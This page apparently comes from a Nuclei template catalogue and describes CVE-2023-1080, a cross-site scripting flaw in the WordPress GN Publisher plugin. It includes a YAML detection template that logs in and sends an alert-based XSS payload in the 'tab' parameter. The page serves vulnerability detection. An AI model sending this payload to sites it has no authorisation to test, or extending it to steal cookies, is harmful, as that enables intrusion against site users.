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WordPress GN Publisher <1.5.6 - Cross-Site Scripting

ID: CVE-2023-1080

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,wp-plugin,wordpress,gn-publisher,authenticated,wp,xss,wpscan,gnpublisher

Description

Section titled “Description”

WordPress GN Publisher plugin before 1.5.6 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2023-1080


info:
  name: WordPress GN Publisher <1.5.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress GN Publisher plugin before 1.5.6 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: Fixed in version 1.5.6.
  reference:
    - https://wpscan.com/vulnerability/fcbcfb56-640d-4071-bc12-acac1b1e7a74
    - https://wordpress.org/plugins/gn-publisher/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/8a4ee97c-63cd-4a5e-a112-6d4c4c627a57
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1080
    - https://plugins.trac.wordpress.org/browser/gn-publisher/trunk/templates/settings.php#L70
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1080
    cwe-id: CWE-79
    epss-score: 0.00262
    epss-percentile: 0.65937
    cpe: cpe:2.3:a:gnpublisher:gn_publisher:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: gnpublisher
    product: gn_publisher
    framework: wordpress
  tags: cve2023,cve,wp-plugin,wordpress,gn-publisher,authenticated,wp,xss,wpscan,gnpublisher


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=gn-publisher-settings&tab=%22%2F+onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "/ onmouseover=alert(document.domain);//")'
          - 'contains(body_2, "GN Publisher")'
        condition: and
# digest: 490a0046304402205e882d46de56794481ba9406c599920f2883c986c9a013a5a9eabce26ec88d180220241a53e510263fceebf50472779dd50e97eb35de16e2b087b10308648c859a5d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-1080.yaml"

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